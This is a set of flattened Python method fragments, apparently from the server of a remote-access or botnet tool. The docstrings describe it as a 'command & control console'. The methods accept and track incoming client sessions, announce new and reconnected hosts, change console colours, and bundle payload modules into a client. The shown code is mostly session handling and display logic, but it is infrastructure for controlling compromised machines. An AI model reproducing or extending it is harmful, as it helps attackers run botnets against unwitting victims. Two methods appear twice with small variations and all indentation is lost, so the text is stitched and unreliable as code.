def settings(self): """ Show the server's currently configured settings """ text_color = [ color for color in filter(str.isupper, dir(colorama.Fore)) if color == self._text_color ][0] text_style = [ style for style in filter(str.isupper, dir(colorama.Style)) if style == self._text_style ][0] prompt_color = [ color for color in filter(str.isupper, dir(colorama.Fore)) if color == self._prompt_color ][0] prompt_style = [ style for style in filter(str.isupper, dir(colorama.Style)) if style == self._prompt_style ][0] util.display('\n\t OPTIONS', color='white', style='bright') util.display('text color/style: ', color='white', style='normal', end=',') util.display('/'.join( (self._text_color.title(), self._text_style.title())), color=self._text_color, style=self._text_style) util.display('prompt color/style: ', color='white', style='normal', end=',') util.display('/'.join( (self._prompt_color.title(), self._prompt_style.title())), color=self._prompt_color, style=self._prompt_style) util.display('debug: ', color='white', style='normal', end=',') util.display('True\n' if globals()['debug'] else 'False\n', color='green' if globals()['debug'] else 'red', style='normal')
def _return(self, data=None): lock, prompt = (self.current_session._lock, self.current_session._prompt) if self.current_session else (self._lock, self._prompt) with lock: if data: util.display('\n{}\n'.format(data)) util.display(prompt, end=' ')
def serve_until_stopped(self): self.database = database.Database(self._database) for session in self.database.get_sessions(verbose=True): self.database.update_status(session.get('uid'), 0) session['online'] = False self.sessions[session.get('id')] = { "info": session, "connection": None } self._count += 1 while True: connection, address = self.socket.accept() session = Session(connection=connection, id=self._count) if session.info != None: info = self.database.handle_session(session.info) if isinstance(info, dict): if info.pop('new', False): util.display("\n\n[+]", color='green', style='bright', end=' ') util.display("New Connection:", color='white', style='bright', end=' ') util.display(address[0], color='white', style='normal') util.display(" Session:", color='white', style='bright', end=' ') util.display(str(session.id), color='white', style='normal') util.display(" Started:", color='white', style='bright', end=' ') util.display(time.ctime(session._created), color='white', style='normal') self._count += 1 else: util.display("\n\n[+]", color='green', style='bright', end=' ') util.display("{} reconnected".format(address[0]), color='white', style='bright', end=' ') session.info = info self.sessions[int(session.id)] = session else: util.display("\n\n[-]", color='red', style='bright', end=' ') util.display("Failed Connection:", color='white', style='bright', end=' ') util.display(address[0], color='white', style='normal') # refresh prompt prompt = '\n{}'.format(self.current_session._prompt if self.current_session else self._prompt) util.display(prompt, color=self._prompt_color, style=self._prompt_style, end=' ') sys.stdout.flush() abort = globals()['__abort'] if abort: break
def _banner(self): with self._lock: util.display(__banner__, color=random.choice(['red','green','cyan','magenta','yellow']), style='bright') util.display("[?] ", color='yellow', style='bright', end=' ') util.display("Hint: show usage information with the 'help' command\n", color='white', style='normal') return __banner__
def set(self, args=None): """ Set display settings for the command & control console Usage: `set [setting] [option]=[value]` :setting text: text displayed in console :setting prompt: prompt displayed in shells :option color: color attribute of a setting :option style: style attribute of a setting :values color: red, green, cyan, yellow, magenta :values style: normal, bright, dim Example 1: `set text color=green style=normal` Example 2: `set prompt color=white style=bright` """ if args: arguments = self._get_arguments(args) args, kwargs = arguments.args, arguments.kwargs if arguments.args: target = args[0] args = args[1:] if target in ('debug', 'debugging'): if args: setting = args[0] if setting.lower() in ('0', 'off', 'false', 'disable'): globals()['debug'] = False elif setting.lower() in ('1', 'on', 'true', 'enable'): globals()['debug'] = True util.display( "\n[+]" if globals()['debug'] else "\n[-]", color='green' if globals()['debug'] else 'red', style='normal', end=',') util.display("Debug: {}\n".format( "ON" if globals()['debug'] else "OFF"), color='white', style='bright') return for setting, option in arguments.kwargs.items(): option = option.upper() if target == 'prompt': if setting == 'color': if hasattr(colorama.Fore, option): self._prompt_color = option elif setting == 'style': if hasattr(colorama.Style, option): self._prompt_style = option util.display("\nprompt color/style changed to ", color='white', style='bright', end=',') util.display(option + '\n', color=self._prompt_color, style=self._prompt_style) return elif target == 'text': if setting == 'color': if hasattr(colorama.Fore, option): self._text_color = option elif setting == 'style': if hasattr(colorama.Style, option): self._text_style = option util.display("\ntext color/style changed to ", color='white', style='bright', end=',') util.display(option + '\n', color=self._text_color, style=self._text_style) return util.display( "\nusage: set [setting] [option]=[value]\n\n colors: white/black/red/yellow/green/cyan/magenta\n styles: dim/normal/bright\n", color=self._text_color, style=self._text_style)
def _modules(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display('Modules', color='reset', style='bright') util.display("\tAdding modules... ", color='reset', style='normal', end=' ') global __load__ __load__ = threading.Event() __spin__ = _spinner(__load__) modules = ['core/util.py', 'core/security.py', 'core/payloads.py'] if len(options.modules): for m in options.modules: if isinstance(m, str): base = os.path.splitext(os.path.basename(m))[0] if not os.path.exists(m): _m = os.path.join(os.path.abspath('modules'), os.path.basename(m)) if _m not in [ os.path.splitext(_)[0] for _ in os.listdir('modules') ]: util.display("[-]", color='red', style='normal') util.display( "can't add module: '{}' (does not exist)".format( m), color='reset', style='normal') continue module = os.path.join( os.path.abspath('modules'), m if '.py' in os.path.splitext(m)[1] else '.'.join( [os.path.splitext(m)[0], '.py'])) modules.append(module) __load__.set() util.display("({} modules added to client)".format(len(modules)), color='reset', style='dim') return modules
def serve_until_stopped(self): self.database = database.Database(self._database) for session in self.database.get_sessions(verbose=True): self.database.update_status(session.get('uid'), 0) session['online'] = False self.sessions[session.get('id')] = { "info": session, "connection": None } while True: connection, address = self.socket.accept() session = Session(connection=connection, id=self._count) if session.info != None: info = self.database.handle_session(session.info) if isinstance(info, dict): if info.pop('new', False): util.display("\n\n[+]", color='green', style='bright', end=',') util.display("New Connection:", color='white', style='bright', end=',') util.display(address[0], color='white', style='normal') util.display(" Session:", color='white', style='bright', end=',') util.display(str(session.id), color='white', style='normal') util.display(" Started:", color='white', style='bright', end=',') util.display(time.ctime(session._created), color='white', style='normal') self._count += 1 else: util.display("\n\n[+]", color='green', style='bright', end=',') util.display("{} reconnected".format(address[0]), color='white', style='bright', end=',') session.info = info self.sessions[int(session.id)] = session else: util.display("\n\n[-]", color='red', style='bright', end=',') util.display("Failed Connection:", color='white', style='bright', end=',') util.display(address[0], color='white', style='normal') # refresh prompt prompt = '\n{}'.format(self.current_session._prompt if self. current_session else self._prompt) util.display(prompt, color=self._prompt_color, style=self._prompt_style, end=',') sys.stdout.flush() abort = globals()['__abort'] if abort: break
def set(self, args=None): """ Set display settings for the command & control console Usage: `set [setting] [option]=[value]` :setting text: text displayed in console :setting prompt: prompt displayed in shells :option color: color attribute of a setting :option style: style attribute of a setting :values color: red, green, cyan, yellow, magenta :values style: normal, bright, dim Example 1: `set text color=green style=normal` Example 2: `set prompt color=white style=bright` """ if args: arguments = self._get_arguments(args) args, kwargs = arguments.args, arguments.kwargs if arguments.args: target = args[0] args = args[1:] if target in ('debug','debugging'): if args: setting = args[0] if setting.lower() in ('0','off','false','disable'): globals()['debug'] = False elif setting.lower() in ('1','on','true','enable'): globals()['debug'] = True util.display("\n[+]" if globals()['debug'] else "\n[-]", color='green' if globals()['debug'] else 'red', style='normal', end=' ') util.display("Debug: {}\n".format("ON" if globals()['debug'] else "OFF"), color='white', style='bright') return for setting, option in arguments.kwargs.items(): option = option.upper() if target == 'prompt': if setting == 'color': if hasattr(colorama.Fore, option): self._prompt_color = option elif setting == 'style': if hasattr(colorama.Style, option): self._prompt_style = option util.display("\nprompt color/style changed to ", color='white', style='bright', end=' ') util.display(option + '\n', color=self._prompt_color, style=self._prompt_style) return elif target == 'text': if setting == 'color': if hasattr(colorama.Fore, option): self._text_color = option elif setting == 'style': if hasattr(colorama.Style, option): self._text_style = option util.display("\ntext color/style changed to ", color='white', style='bright', end=' ') util.display(option + '\n', color=self._text_color, style=self._text_style) return util.display("\nusage: set [setting] [option]=[value]\n\n colors: white/black/red/yellow/green/cyan/magenta\n styles: dim/normal/bright\n", color=self._text_color, style=self._text_style)